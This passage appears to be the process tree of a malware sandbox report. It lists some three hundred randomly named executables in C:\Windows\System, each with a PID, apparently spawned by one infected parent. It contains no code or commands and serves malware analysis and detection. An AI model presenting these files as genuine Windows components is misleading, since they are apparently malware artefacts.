  C:\Windows\System\oszLgUs.exe
  2⤵
  PID:12488
- C:\Windows\System\CnBKzRs.exe
  C:\Windows\System\CnBKzRs.exe
  2⤵
  PID:12432
- C:\Windows\System\dsYsutb.exe
  C:\Windows\System\dsYsutb.exe
  2⤵
  PID:10600
- C:\Windows\System\IolUKNV.exe
  C:\Windows\System\IolUKNV.exe
  2⤵
  PID:11884
- C:\Windows\System\LMVVlwF.exe
  C:\Windows\System\LMVVlwF.exe
  2⤵
  PID:11868
- C:\Windows\System\LnEXgEW.exe
  C:\Windows\System\LnEXgEW.exe
  2⤵
  PID:11980
- C:\Windows\System\cvFXiNQ.exe
  C:\Windows\System\cvFXiNQ.exe
  2⤵
  PID:5824
- C:\Windows\System\fXBXYye.exe
  C:\Windows\System\fXBXYye.exe
  2⤵
  PID:496
- C:\Windows\System\OFnkSGb.exe
  C:\Windows\System\OFnkSGb.exe
  2⤵
  PID:3092
- C:\Windows\System\dskHRBm.exe
  C:\Windows\System\dskHRBm.exe
  2⤵
  PID:12520
- C:\Windows\System\jlHpgov.exe
  C:\Windows\System\jlHpgov.exe
  2⤵
  PID:588
- C:\Windows\System\GMLJije.exe
  C:\Windows\System\GMLJije.exe
  2⤵
  PID:2528
- C:\Windows\System\MYnPBQl.exe
  C:\Windows\System\MYnPBQl.exe
  2⤵
  PID:13416
- C:\Windows\System\KLxcJWJ.exe
  C:\Windows\System\KLxcJWJ.exe
  2⤵
  PID:13452
- C:\Windows\System\ODqPmuv.exe
  C:\Windows\System\ODqPmuv.exe
  2⤵
  PID:13472
- C:\Windows\System\DSypESw.exe
  C:\Windows\System\DSypESw.exe
  2⤵
  PID:13600
- C:\Windows\System\iHcmQDA.exe
  C:\Windows\System\iHcmQDA.exe
  2⤵
  PID:13724
- C:\Windows\System\viZmhlE.exe
  C:\Windows\System\viZmhlE.exe
  2⤵
  PID:13768
- C:\Windows\System\qJcfZdL.exe
  C:\Windows\System\qJcfZdL.exe
  2⤵
  PID:14056
- C:\Windows\System\eMerZpI.exe
  C:\Windows\System\eMerZpI.exe
  2⤵
  PID:14072
- C:\Windows\System\AOtvMRr.exe
  C:\Windows\System\AOtvMRr.exe
  2⤵
  PID:14108
- C:\Windows\System\fvzzZXD.exe
  C:\Windows\System\fvzzZXD.exe
  2⤵
  PID:14124
- C:\Windows\System\IYssBPS.exe
  C:\Windows\System\IYssBPS.exe
  2⤵
  PID:14144
- C:\Windows\System\JdtUeZx.exe
  C:\Windows\System\JdtUeZx.exe
  2⤵
  PID:14164
- C:\Windows\System\xwKVlaj.exe
  C:\Windows\System\xwKVlaj.exe
  2⤵
  PID:14196
- C:\Windows\System\UevFxSK.exe
  C:\Windows\System\UevFxSK.exe
  2⤵
  PID:14224
- C:\Windows\System\dILSOqX.exe
  C:\Windows\System\dILSOqX.exe
  2⤵
  PID:14276
- C:\Windows\System\BzNAZrY.exe
  C:\Windows\System\BzNAZrY.exe
  2⤵
  PID:14292
- C:\Windows\System\QFieHBK.exe
  C:\Windows\System\QFieHBK.exe
  2⤵
  PID:14312
- C:\Windows\System\PDofhUh.exe
  C:\Windows\System\PDofhUh.exe
  2⤵
  PID:14328
- C:\Windows\System\PnINXEw.exe
  C:\Windows\System\PnINXEw.exe
  2⤵
  PID:10508
- C:\Windows\System\cyxUkhh.exe
  C:\Windows\System\cyxUkhh.exe
  2⤵
  PID:10692
- C:\Windows\System\ZtLrlZf.exe
  C:\Windows\System\ZtLrlZf.exe
  2⤵
  PID:3412
- C:\Windows\System\zNAMlPq.exe
  C:\Windows\System\zNAMlPq.exe
  2⤵
  PID:1084
- C:\Windows\System\gQktQmy.exe
  C:\Windows\System\gQktQmy.exe
  2⤵
  PID:11504
- C:\Windows\System\fhGmQiR.exe
  C:\Windows\System\fhGmQiR.exe
  2⤵
  PID:5080
- C:\Windows\System\ZcZuKCg.exe
  C:\Windows\System\ZcZuKCg.exe
  2⤵
  PID:1924
- C:\Windows\System\QsIFUpf.exe
  C:\Windows\System\QsIFUpf.exe
  2⤵
  PID:13344
- C:\Windows\System\VMMIXno.exe
  C:\Windows\System\VMMIXno.exe
  2⤵
  PID:3280
- C:\Windows\System\ndpgtdv.exe
  C:\Windows\System\ndpgtdv.exe
  2⤵
  PID:212
- C:\Windows\System\VldmEvI.exe
  C:\Windows\System\VldmEvI.exe
  2⤵
  PID:13436
- C:\Windows\System\RovIclZ.exe
  C:\Windows\System\RovIclZ.exe
  2⤵
  PID:13508
- C:\Windows\System\xrtoXqo.exe
  C:\Windows\System\xrtoXqo.exe
  2⤵
  PID:2024
- C:\Windows\System\LAXxpMf.exe
  C:\Windows\System\LAXxpMf.exe
  2⤵
  PID:2072
- C:\Windows\System\fNChZRP.exe
  C:\Windows\System\fNChZRP.exe
  2⤵
  PID:1256
- C:\Windows\System\sVgOWEf.exe
  C:\Windows\System\sVgOWEf.exe
  2⤵
  PID:13372
- C:\Windows\System\zWgpmOQ.exe
  C:\Windows\System\zWgpmOQ.exe
  2⤵
  PID:2696
- C:\Windows\System\HnFkwJj.exe
  C:\Windows\System\HnFkwJj.exe
  2⤵
  PID:6268
- C:\Windows\System\dYfhfmB.exe
  C:\Windows\System\dYfhfmB.exe
  2⤵
  PID:13752
- C:\Windows\System\WquZTMz.exe
  C:\Windows\System\WquZTMz.exe
  2⤵
  PID:13468
- C:\Windows\System\fSerVpc.exe
  C:\Windows\System\fSerVpc.exe
  2⤵
  PID:13408
- C:\Windows\System\dJlaKkh.exe
  C:\Windows\System\dJlaKkh.exe
  2⤵
  PID:13516
- C:\Windows\System\BgVPBSN.exe
  C:\Windows\System\BgVPBSN.exe
  2⤵
  PID:13584
- C:\Windows\System\UgEPmJx.exe
  C:\Windows\System\UgEPmJx.exe
  2⤵
  PID:4856
- C:\Windows\System\auIzEwg.exe
  C:\Windows\System\auIzEwg.exe
  2⤵
  PID:13656
- C:\Windows\System\EzRMuaL.exe
  C:\Windows\System\EzRMuaL.exe
  2⤵
  PID:13780
- C:\Windows\System\uQxmJOE.exe
  C:\Windows\System\uQxmJOE.exe
  2⤵
  PID:13736
- C:\Windows\System\Rusecmr.exe
  C:\Windows\System\Rusecmr.exe
  2⤵
  PID:13704
- C:\Windows\System\BzqHnTY.exe
  C:\Windows\System\BzqHnTY.exe
  2⤵
  PID:13676
- C:\Windows\System\JckWrmq.exe
  C:\Windows\System\JckWrmq.exe
  2⤵
  PID:13972
- C:\Windows\System\tkiNYny.exe
  C:\Windows\System\tkiNYny.exe
  2⤵
  PID:1376
- C:\Windows\System\RvSTiwL.exe
  C:\Windows\System\RvSTiwL.exe
  2⤵
  PID:13984
- C:\Windows\System\umlQjnw.exe
  C:\Windows\System\umlQjnw.exe
  2⤵
  PID:5348
- C:\Windows\System\iZuMaJg.exe
  C:\Windows\System\iZuMaJg.exe
  2⤵
  PID:5644
- C:\Windows\System\LzVfyYV.exe
  C:\Windows\System\LzVfyYV.exe
  2⤵
  PID:13960
- C:\Windows\System\SSwgsSw.exe
  C:\Windows\System\SSwgsSw.exe
  2⤵
  PID:5208
- C:\Windows\System\gnmckbJ.exe
  C:\Windows\System\gnmckbJ.exe
  2⤵
  PID:14016
- C:\Windows\System\VBQEkoR.exe
  C:\Windows\System\VBQEkoR.exe
  2⤵
  PID:5436
- C:\Windows\System\VhCNNfd.exe
  C:\Windows\System\VhCNNfd.exe
  2⤵
  PID:14032
- C:\Windows\System\fyajmwA.exe
  C:\Windows\System\fyajmwA.exe
  2⤵
  PID:13980
- C:\Windows\System\ORvryio.exe
  C:\Windows\System\ORvryio.exe
  2⤵
  PID:14012
- C:\Windows\System\GKYdjxG.exe
  C:\Windows\System\GKYdjxG.exe
  2⤵
  PID:14120
- C:\Windows\System\kYqUgCE.exe
  C:\Windows\System\kYqUgCE.exe
  2⤵
  PID:5872
- C:\Windows\System\VmaSEdm.exe
  C:\Windows\System\VmaSEdm.exe
  2⤵
  PID:5840
- C:\Windows\System\NsCHcBm.exe
  C:\Windows\System\NsCHcBm.exe
  2⤵
  PID:14096
- C:\Windows\System\tDPbaER.exe
  C:\Windows\System\tDPbaER.exe
  2⤵
  PID:5252
- C:\Windows\System\wrUhfmC.exe
  C:\Windows\System\wrUhfmC.exe
  2⤵
  PID:6140
- C:\Windows\System\TjpbBVC.exe
  C:\Windows\System\TjpbBVC.exe
  2⤵
  PID:5052
- C:\Windows\System\oLkwwmN.exe
  C:\Windows\System\oLkwwmN.exe
  2⤵
  PID:10660
- C:\Windows\System\yKhUNFM.exe
  C:\Windows\System\yKhUNFM.exe
  2⤵
  PID:4212
- C:\Windows\System\bdXrBgA.exe
  C:\Windows\System\bdXrBgA.exe
  2⤵
  PID:13888
- C:\Windows\System\bxGSPUP.exe
  C:\Windows\System\bxGSPUP.exe
  2⤵
  PID:13936
- C:\Windows\System\BFEzpcX.exe
  C:\Windows\System\BFEzpcX.exe
  2⤵
  PID:14116
- C:\Windows\System\hzacBys.exe
  C:\Windows\System\hzacBys.exe
  2⤵
  PID:13640
- C:\Windows\System\SDfDQHS.exe
  C:\Windows\System\SDfDQHS.exe
  2⤵
  PID:10616
- C:\Windows\System\QxkWOId.exe
  C:\Windows\System\QxkWOId.exe
  2⤵
  PID:2840
- C:\Windows\System\PdiDwdI.exe
  C:\Windows\System\PdiDwdI.exe
  2⤵
  PID:4688
- C:\Windows\System\LqjvKqv.exe
  C:\Windows\System\LqjvKqv.exe
  2⤵
  PID:5900
- C:\Windows\System\hKFkVnP.exe
  C:\Windows\System\hKFkVnP.exe
  2⤵
  PID:14040
- C:\Windows\System\snqKTpL.exe
  C:\Windows\System\snqKTpL.exe
  2⤵
  PID:6124
- C:\Windows\System\YBcadQh.exe
  C:\Windows\System\YBcadQh.exe
  2⤵
  PID:5776
- C:\Windows\System\kIJOkpW.exe
  C:\Windows\System\kIJOkpW.exe
  2⤵
  PID:5836
- C:\Windows\System\xFqTUfz.exe
  C:\Windows\System\xFqTUfz.exe
  2⤵
  PID:3680
- C:\Windows\System\oJfpYZh.exe
  C:\Windows\System\oJfpYZh.exe
  2⤵
  PID:5152
- C:\Windows\System\DZEqgrj.exe
  C:\Windows\System\DZEqgrj.exe
  2⤵
  PID:13816
- C:\Windows\System\ozenxpC.exe
  C:\Windows\System\ozenxpC.exe
  2⤵
  PID:4820
- C:\Windows\System\DFArZPN.exe
  C:\Windows\System\DFArZPN.exe
  2⤵
  PID:2532
- C:\Windows\System\SMJLAJh.exe
  C:\Windows\System\SMJLAJh.exe
  2⤵
  PID:13820
- C:\Windows\System\GMabRRP.exe
  C:\Windows\System\GMabRRP.exe
  2⤵
  PID:260
- C:\Windows\System\casnUoH.exe
  C:\Windows\System\casnUoH.exe
  2⤵
  PID:4428
- C:\Windows\System\ZUVFjQJ.exe
  C:\Windows\System\ZUVFjQJ.exe
  2⤵
  PID:13544
- C:\Windows\System\ZoNgxtU.exe
  C:\Windows\System\ZoNgxtU.exe
  2⤵
  PID:13384
- C:\Windows\System\wfDryex.exe
  C:\Windows\System\wfDryex.exe
  2⤵
  PID:5608
- C:\Windows\System\UlNlNpU.exe
  C:\Windows\System\UlNlNpU.exe
  2⤵
  PID:13680
- C:\Windows\System\bZPzqUp.exe
  C:\Windows\System\bZPzqUp.exe
  2⤵
  PID:2312
- C:\Windows\System\VLGqdsi.exe
  C:\Windows\System\VLGqdsi.exe
  2⤵
  PID:5224
- C:\Windows\System\FPIDXez.exe
  C:\Windows\System\FPIDXez.exe
  2⤵
  PID:5852
- C:\Windows\System\vMtSIQU.exe
  C:\Windows\System\vMtSIQU.exe
  2⤵
  PID:13920
- C:\Windows\System\SIDDacR.exe
  C:\Windows\System\SIDDacR.exe
  2⤵
  PID:12720
- C:\Windows\System\sjzCpbc.exe
  C:\Windows\System\sjzCpbc.exe
  2⤵
  PID:12780
- C:\Windows\System\VCATGaq.exe
  C:\Windows\System\VCATGaq.exe
  2⤵
  PID:14100
- C:\Windows\System\uLXEjSA.exe
  C:\Windows\System\uLXEjSA.exe
  2⤵
  PID:1336
- C:\Windows\System\HbjplzP.exe
  C:\Windows\System\HbjplzP.exe
  2⤵
  PID:14288
- C:\Windows\System\qlLkqDt.exe
  C:\Windows\System\qlLkqDt.exe
  2⤵
  PID:5456
- C:\Windows\System\ClutBSz.exe
  C:\Windows\System\ClutBSz.exe
  2⤵
  PID:14304
- C:\Windows\System\zqvZmgU.exe
  C:\Windows\System\zqvZmgU.exe
  2⤵
  PID:13404
- C:\Windows\System\JIGyKjr.exe
  C:\Windows\System\JIGyKjr.exe
  2⤵
  PID:5924
- C:\Windows\System\qlTIFnL.exe
  C:\Windows\System\qlTIFnL.exe
  2⤵
  PID:5160
- C:\Windows\System\BkCmtIs.exe
  C:\Windows\System\BkCmtIs.exe
  2⤵
  PID:4196
- C:\Windows\System\mDkzGPJ.exe
  C:\Windows\System\mDkzGPJ.exe
  2⤵
  PID:14064
- C:\Windows\System\uZFvksV.exe
  C:\Windows\System\uZFvksV.exe
  2⤵
  PID:2004
- C:\Windows\System\aMfKOYW.exe
  C:\Windows\System\aMfKOYW.exe
  2⤵
  PID:6064
- C:\Windows\System\cpHszzL.exe
  C:\Windows\System\cpHszzL.exe
  2⤵
  PID:12968
- C:\Windows\System\PIDKSeq.exe
  C:\Windows\System\PIDKSeq.exe
  2⤵
  PID:4748
- C:\Windows\System\KiLgNMd.exe
  C:\Windows\System\KiLgNMd.exe
  2⤵
  PID:13992
- C:\Windows\System\jHdwYOr.exe
  C:\Windows\System\jHdwYOr.exe
  2⤵
  PID:14084
- C:\Windows\System\nUgWexD.exe
  C:\Windows\System\nUgWexD.exe
  2⤵
  PID:4692
- C:\Windows\System\FFYmvMe.exe
  C:\Windows\System\FFYmvMe.exe
  2⤵
  PID:2592
- C:\Windows\System\QZMUpIY.exe
  C:\Windows\System\QZMUpIY.exe
  2⤵
  PID:10548
- C:\Windows\System\xYZnRqI.exe
  C:\Windows\System\xYZnRqI.exe
  2⤵
  PID:4280
- C:\Windows\System\UQMBojl.exe
  C:\Windows\System\UQMBojl.exe
  2⤵
  PID:6116
- C:\Windows\System\AJVGnJQ.exe
  C:\Windows\System\AJVGnJQ.exe
  2⤵
  PID:12208
- C:\Windows\System\xetJlAy.exe
  C:\Windows\System\xetJlAy.exe
  2⤵
  PID:5536
- C:\Windows\System\AOqvRZH.exe
  C:\Windows\System\AOqvRZH.exe
  2⤵
  PID:5772
- C:\Windows\System\tbZHYzC.exe
  C:\Windows\System\tbZHYzC.exe
  2⤵
  PID:6456
- C:\Windows\System\orvCFoh.exe
  C:\Windows\System\orvCFoh.exe
  2⤵
  PID:6468
- C:\Windows\System\ZZoOhMb.exe
  C:\Windows\System\ZZoOhMb.exe
  2⤵
  PID:2132
- C:\Windows\System\zTVTCZP.exe
  C:\Windows\System\zTVTCZP.exe
  2⤵
  PID:5724
- C:\Windows\System\PiwoAFC.exe
  C:\Windows\System\PiwoAFC.exe
  2⤵
  PID:6300
- C:\Windows\System\PKghPlO.exe
  C:\Windows\System\PKghPlO.exe
  2⤵
  PID:6824
- C:\Windows\System\CcbXvzf.exe
  C:\Windows\System\CcbXvzf.exe
  2⤵
  PID:6524
- C:\Windows\System\KZAucrV.exe
  C:\Windows\System\KZAucrV.exe
  2⤵
  PID:6852
- C:\Windows\System\aTSdFkd.exe
  C:\Windows\System\aTSdFkd.exe
  2⤵
  PID:7128
- C:\Windows\System\QynVikp.exe
  C:\Windows\System\QynVikp.exe
  2⤵
  PID:6256
- C:\Windows\System\LoNJmnh.exe
  C:\Windows\System\LoNJmnh.exe
  2⤵
  PID:7084
- C:\Windows\System\kEclDcR.exe
  C:\Windows\System\kEclDcR.exe
  2⤵
  PID:5212
- C:\Windows\System\NPWPsYD.exe
  C:\Windows\System\NPWPsYD.exe
  2⤵
  PID:5604
- C:\Windows\System\aOTMKIx.exe
  C:\Windows\System\aOTMKIx.exe
  2⤵
  PID:6644
- C:\Windows\System\uBJagyy.exe
  C:\Windows\System\uBJagyy.exe
  2⤵
  PID:4008
- C:\Windows\System\KgbmhRs.exe
  C:\Windows\System\KgbmhRs.exe
  2⤵
  PID:5412
- C:\Windows\System\fwoNoBU.exe
  C:\Windows\System\fwoNoBU.exe
  2⤵
  PID:6084
- C:\Windows\System\hYYKupd.exe
  C:\Windows\System\hYYKupd.exe
  2⤵
  PID:4604
- C:\Windows\System\xokWctA.exe
  C:\Windows\System\xokWctA.exe
  2⤵
  PID:6408
- C:\Windows\System\Pngmaax.exe
  C:\Windows\System\Pngmaax.exe
  2⤵
  PID:6696
- C:\Windows\System\IYotuoE.exe
  C:\Windows\System\IYotuoE.exe
  2⤵
  PID:13376
- C:\Windows\System\IKfQyTU.exe
  C:\Windows\System\IKfQyTU.exe
  2⤵
  PID:13964
- C:\Windows\System\FXDkQDL.exe
  C:\Windows\System\FXDkQDL.exe
  2⤵
  PID:6864
- C:\Windows\System\HkVGSHD.exe
  C:\Windows\System\HkVGSHD.exe
  2⤵
  PID:8000
- C:\Windows\System\GnfDhCg.exe
  C:\Windows\System\GnfDhCg.exe
  2⤵
  PID:1868
- C:\Windows\System\pPDNBsT.exe
  C:\Windows\System\pPDNBsT.exe
  2⤵
  PID:13444
- C:\Windows\System\fnkYMYn.exe
  C:\Windows\System\fnkYMYn.exe
  2⤵
  PID:6488
- C:\Windows\System\oECObpe.exe
  C:\Windows\System\oECObpe.exe
  2⤵
  PID:13868
- C:\Windows\System\kdpxixr.exe
  C:\Windows\System\kdpxixr.exe
  2⤵
  PID:4336
- C:\Windows\System\NyTmUUk.exe
  C:\Windows\System\NyTmUUk.exe
  2⤵
  PID:6352
- C:\Windows\System\GDIoDMr.exe
  C:\Windows\System\GDIoDMr.exe
  2⤵
  PID:7008
- C:\Windows\System\JuMQdbN.exe
  C:\Windows\System\JuMQdbN.exe
  2⤵
  PID:13556
- C:\Windows\System\yAFQcVl.exe
  C:\Windows\System\yAFQcVl.exe
  2⤵
  PID:5796
- C:\Windows\System\SQMzdpO.exe
  C:\Windows\System\SQMzdpO.exe
  2⤵
  PID:6304
- C:\Windows\System\WGjBbbX.exe
  C:\Windows\System\WGjBbbX.exe
  2⤵
  PID:3788
- C:\Windows\System\UFmCsaV.exe
  C:\Windows\System\UFmCsaV.exe
  2⤵
  PID:6944
- C:\Windows\System\GxfnFYK.exe
  C:\Windows\System\GxfnFYK.exe
  2⤵
  PID:7948
- C:\Windows\System\fCzHVKU.exe
  C:\Windows\System\fCzHVKU.exe
  2⤵
  PID:2892
- C:\Windows\System\jWXpFLz.exe
  C:\Windows\System\jWXpFLz.exe
  2⤵
  PID:14372
- C:\Windows\System\EsJIxMd.exe
  C:\Windows\System\EsJIxMd.exe
  2⤵
  PID:14400
- C:\Windows\System\PVxGZvl.exe
  C:\Windows\System\PVxGZvl.exe
  2⤵
  PID:14428
- C:\Windows\System\qWHZnKG.exe
  C:\Windows\System\qWHZnKG.exe
  2⤵
  PID:14828
- C:\Windows\System\LNMzQBC.exe
  C:\Windows\System\LNMzQBC.exe
  2⤵
  PID:15128
- C:\Windows\System\NucKAyr.exe
  C:\Windows\System\NucKAyr.exe
  2⤵
  PID:15144
- C:\Windows\System\cXQqwHi.exe
  C:\Windows\System\cXQqwHi.exe
  2⤵
  PID:15160
- C:\Windows\System\TfanxeT.exe
  C:\Windows\System\TfanxeT.exe
  2⤵
  PID:15184
- C:\Windows\System\jguSvIu.exe
  C:\Windows\System\jguSvIu.exe
  2⤵
  PID:15200
- C:\Windows\System\daMKjEO.exe
  C:\Windows\System\daMKjEO.exe
  2⤵
  PID:15236
- C:\Windows\System\oHKbwrX.exe
  C:\Windows\System\oHKbwrX.exe
  2⤵
  PID:15268
- C:\Windows\System\ELCbWhT.exe
  C:\Windows\System\ELCbWhT.exe
  2⤵
  PID:15300
- C:\Windows\System\IGbvagk.exe
  C:\Windows\System\IGbvagk.exe
  2⤵
  PID:15356
- C:\Windows\System\XRUxJNw.exe
  C:\Windows\System\XRUxJNw.exe
  2⤵
  PID:6768
- C:\Windows\System\wLEzthP.exe
  C:\Windows\System\wLEzthP.exe
  2⤵
  PID:14340
- C:\Windows\System\gSEwIvY.exe
  C:\Windows\System\gSEwIvY.exe
  2⤵
  PID:14360
- C:\Windows\System\LaHWNdx.exe
  C:\Windows\System\LaHWNdx.exe
  2⤵
  PID:14384
- C:\Windows\System\julOtWP.exe
  C:\Windows\System\julOtWP.exe
  2⤵
  PID:7896
- C:\Windows\System\NVxBhTg.exe
  C:\Windows\System\NVxBhTg.exe
  2⤵
  PID:14408
- C:\Windows\System\XiHuhvp.exe
  C:\Windows\System\XiHuhvp.exe
  2⤵
  PID:14460
- C:\Windows\System\kqEOeTt.exe
  C:\Windows\System\kqEOeTt.exe
  2⤵
  PID:14484
- C:\Windows\System\eimZEVg.exe
  C:\Windows\System\eimZEVg.exe
  2⤵
  PID:14596
- C:\Windows\System\CITXudL.exe
  C:\Windows\System\CITXudL.exe
  2⤵
  PID:14536
- C:\Windows\System\WebURpG.exe
  C:\Windows\System\WebURpG.exe
  2⤵
  PID:14712
- C:\Windows\System\pRTERBD.exe
  C:\Windows\System\pRTERBD.exe
  2⤵
  PID:14728
- C:\Windows\System\veLqXkN.exe
  C:\Windows\System\veLqXkN.exe
  2⤵
  PID:14476
- C:\Windows\System\ZZCUzcO.exe
  C:\Windows\System\ZZCUzcO.exe
  2⤵
  PID:7428
- C:\Windows\System\MpiQxji.exe
  C:\Windows\System\MpiQxji.exe
  2⤵
  PID:14660
- C:\Windows\System\MRjIQDS.exe
  C:\Windows\System\MRjIQDS.exe
  2⤵
  PID:14436
- C:\Windows\System\TydlKss.exe
  C:\Windows\System\TydlKss.exe
  2⤵
  PID:14584
- C:\Windows\System\asriatd.exe
  C:\Windows\System\asriatd.exe
  2⤵
  PID:14632
- C:\Windows\System\BUExQDr.exe
  C:\Windows\System\BUExQDr.exe
  2⤵
  PID:14640
- C:\Windows\System\attmvBt.exe
  C:\Windows\System\attmvBt.exe
  2⤵
  PID:14808
- C:\Windows\System\HyETXQt.exe
  C:\Windows\System\HyETXQt.exe
  2⤵
  PID:7800
- C:\Windows\System\KsTChYb.exe
  C:\Windows\System\KsTChYb.exe
  2⤵
  PID:8680
- C:\Windows\System\XPODidZ.exe
  C:\Windows\System\XPODidZ.exe
  2⤵
  PID:8028
- C:\Windows\System\LWspqlw.exe
  C:\Windows\System\LWspqlw.exe
  2⤵
  PID:9576
- C:\Windows\System\PpdtSgz.exe
  C:\Windows\System\PpdtSgz.exe
  2⤵
  PID:9564
- C:\Windows\System\OxrBbMd.exe
  C:\Windows\System\OxrBbMd.exe
  2⤵
  PID:14880
- C:\Windows\System\MdMcfsN.exe
  C:\Windows\System\MdMcfsN.exe
  2⤵
  PID:9488
- C:\Windows\System\mQXeaEl.exe
  C:\Windows\System\mQXeaEl.exe
  2⤵
  PID:14908
- C:\Windows\System\NeHCmIR.exe
  C:\Windows\System\NeHCmIR.exe
  2⤵
  PID:8584
- C:\Windows\System\eEelxJr.exe
  C:\Windows\System\eEelxJr.exe
  2⤵
  PID:7980
- C:\Windows\System\LgLwXXw.exe
  C:\Windows\System\LgLwXXw.exe
  2⤵
  PID:14932
- C:\Windows\System\sLGjlhG.exe
  C:\Windows\System\sLGjlhG.exe
  2⤵
  PID:8908
- C:\Windows\System\qNBMCAj.exe
  C:\Windows\System\qNBMCAj.exe
  2⤵
  PID:9824
- C:\Windows\System\GXhxzYL.exe
  C:\Windows\System\GXhxzYL.exe
  2⤵
  PID:9860
- C:\Windows\System\VgmBWDh.exe
  C:\Windows\System\VgmBWDh.exe
  2⤵
  PID:9296
- C:\Windows\System\KlqmOpJ.exe
  C:\Windows\System\KlqmOpJ.exe
  2⤵
  PID:15084
- C:\Windows\System\VCBzKio.exe
  C:\Windows\System\VCBzKio.exe
  2⤵
  PID:15096
- C:\Windows\System\cmMuZYF.exe
  C:\Windows\System\cmMuZYF.exe
  2⤵
  PID:9684
- C:\Windows\System\GItAMWj.exe
  C:\Windows\System\GItAMWj.exe
  2⤵
  PID:1620
- C:\Windows\System\SjhSAfH.exe
  C:\Windows\System\SjhSAfH.exe
  2⤵
  PID:4000
- C:\Windows\System\UFkkPzz.exe
  C:\Windows\System\UFkkPzz.exe
  2⤵
  PID:15124
- C:\Windows\System\XGyBiOQ.exe
  C:\Windows\System\XGyBiOQ.exe
  2⤵
  PID:15156
- C:\Windows\System\JPZtSKY.exe
  C:\Windows\System\JPZtSKY.exe
  2⤵
  PID:15256
- C:\Windows\System\gnQlwPB.exe
  C:\Windows\System\gnQlwPB.exe
  2⤵
  PID:9896
- C:\Windows\System\VrzrOIY.exe
  C:\Windows\System\VrzrOIY.exe
  2⤵
  PID:15228
- C:\Windows\System\NudIDTw.exe
  C:\Windows\System\NudIDTw.exe
  2⤵
  PID:9800
- C:\Windows\System\xrmqZjJ.exe
  C:\Windows\System\xrmqZjJ.exe
  2⤵
  PID:15264
- C:\Windows\System\WuNieky.exe
  C:\Windows\System\WuNieky.exe
  2⤵
  PID:9900
- C:\Windows\System\waJMDcs.exe
  C:\Windows\System\waJMDcs.exe
  2⤵
  PID:8308
- C:\Windows\System\BLRqrry.exe
  C:\Windows\System\BLRqrry.exe
  2⤵
  PID:15212
- C:\Windows\System\pUEuHVg.exe
  C:\Windows\System\pUEuHVg.exe
  2⤵
  PID:9964
- C:\Windows\System\hoTGOhk.exe
  C:\Windows\System\hoTGOhk.exe
  2⤵
  PID:7056
- C:\Windows\System\IPVnBfi.exe
  C:\Windows\System\IPVnBfi.exe
  2⤵
  PID:7880
- C:\Windows\System\WStFunm.exe
  C:\Windows\System\WStFunm.exe
  2⤵
  PID:8312
- C:\Windows\System\fNqRvUD.exe
  C:\Windows\System\fNqRvUD.exe
  2⤵
  PID:6292
- C:\Windows\System\qYzYZVT.exe
  C:\Windows\System\qYzYZVT.exe
  2⤵
  PID:14424
- C:\Windows\System\GobIgcq.exe
  C:\Windows\System\GobIgcq.exe
  2⤵
  PID:14472
- C:\Windows\System\JUAMWLM.exe
  C:\Windows\System\JUAMWLM.exe
  2⤵
  PID:9840
- C:\Windows\System\VDilCWV.exe
  C:\Windows\System\VDilCWV.exe
  2⤵
  PID:10060
- C:\Windows\System\BXoFbtX.exe
  C:\Windows\System\BXoFbtX.exe
  2⤵
  PID:9996
- C:\Windows\System\PgRaGIB.exe
  C:\Windows\System\PgRaGIB.exe
  2⤵
  PID:6848
- C:\Windows\System\SkbeHzf.exe
  C:\Windows\System\SkbeHzf.exe
  2⤵
  PID:10040
- C:\Windows\System\BXAugdr.exe
  C:\Windows\System\BXAugdr.exe
  2⤵
  PID:7632
- C:\Windows\System\khQTewy.exe
  C:\Windows\System\khQTewy.exe
  2⤵
  PID:9852
- C:\Windows\System\LXVJlen.exe
  C:\Windows\System\LXVJlen.exe
  2⤵
  PID:14500
- C:\Windows\System\NbWOQTv.exe
  C:\Windows\System\NbWOQTv.exe
  2⤵
  PID:10124
- C:\Windows\System\tRTdRPt.exe
  C:\Windows\System\tRTdRPt.exe
  2⤵
  PID:14720
- C:\Windows\System\muZGQCV.exe
  C:\Windows\System\muZGQCV.exe
  2⤵
  PID:14768
- C:\Windows\System\ynkYuhi.exe
  C:\Windows\System\ynkYuhi.exe
  2⤵
  PID:10096
- C:\Windows\System\YJjQLzV.exe
  C:\Windows\System\YJjQLzV.exe
  2⤵
  PID:8628
- C:\Windows\System\LwOkzoN.exe
  C:\Windows\System\LwOkzoN.exe
  2⤵
  PID:9736
- C:\Windows\System\yTPgxNg.exe
  C:\Windows\System\yTPgxNg.exe
  2⤵
  PID:14448
- C:\Windows\System\NaUtMFM.exe
  C:\Windows\System\NaUtMFM.exe
  2⤵
  PID:14504
- C:\Windows\System\zyMojZo.exe
  C:\Windows\System\zyMojZo.exe
  2⤵
  PID:14624
- C:\Windows\System\xuJVaWh.exe
  C:\Windows\System\xuJVaWh.exe
  2⤵
  PID:9664
- C:\Windows\System\xKvfhXE.exe
  C:\Windows\System\xKvfhXE.exe
  2⤵
  PID:14804
- C:\Windows\System\NWErkGL.exe
  C:\Windows\System\NWErkGL.exe
  2⤵
  PID:14656
- C:\Windows\System\ooAFmvp.exe
  C:\Windows\System\ooAFmvp.exe
  2⤵
  PID:9692
- C:\Windows\System\YjfoTpr.exe
  C:\Windows\System\YjfoTpr.exe
  2⤵
  PID:8084
- C:\Windows\System\FycSnKb.exe
  C:\Windows\System\FycSnKb.exe
  2⤵
  PID:9280
- C:\Windows\System\xvZTnJs.exe
  C:\Windows\System\xvZTnJs.exe
  2⤵
  PID:6244
- C:\Windows\System\qclDcfv.exe
  C:\Windows\System\qclDcfv.exe
  2⤵
  PID:9604
- C:\Windows\System\aqXsExf.exe
  C:\Windows\System\aqXsExf.exe
  2⤵
  PID:9788
- C:\Windows\System\sWdAONu.exe
  C:\Windows\System\sWdAONu.exe
  2⤵
  PID:9864
- C:\Windows\System\SwgnjpT.exe
  C:\Windows\System\SwgnjpT.exe
  2⤵
  PID:9832
- C:\Windows\System\gSVYZKe.exe
  C:\Windows\System\gSVYZKe.exe
  2⤵
  PID:15252
- C:\Windows\System\AWiRXsI.exe
  C:\Windows\System\AWiRXsI.exe
  2⤵
  PID:15316
- C:\Windows\System\fmlKJKD.exe
  C:\Windows\System\fmlKJKD.exe
  2⤵
  PID:8612
- C:\Windows\System\qpDsJgZ.exe
  C:\Windows\System\qpDsJgZ.exe
  2⤵
  PID:7312
- C:\Windows\System\cMmfBjX.exe
  C:\Windows\System\cMmfBjX.exe
  2⤵
  PID:14348
- C:\Windows\System\fleWqqu.exe
  C:\Windows\System\fleWqqu.exe
  2⤵
  PID:9712
- C:\Windows\System\hDqjLWg.exe
  C:\Windows\System\hDqjLWg.exe
  2⤵
  PID:9040
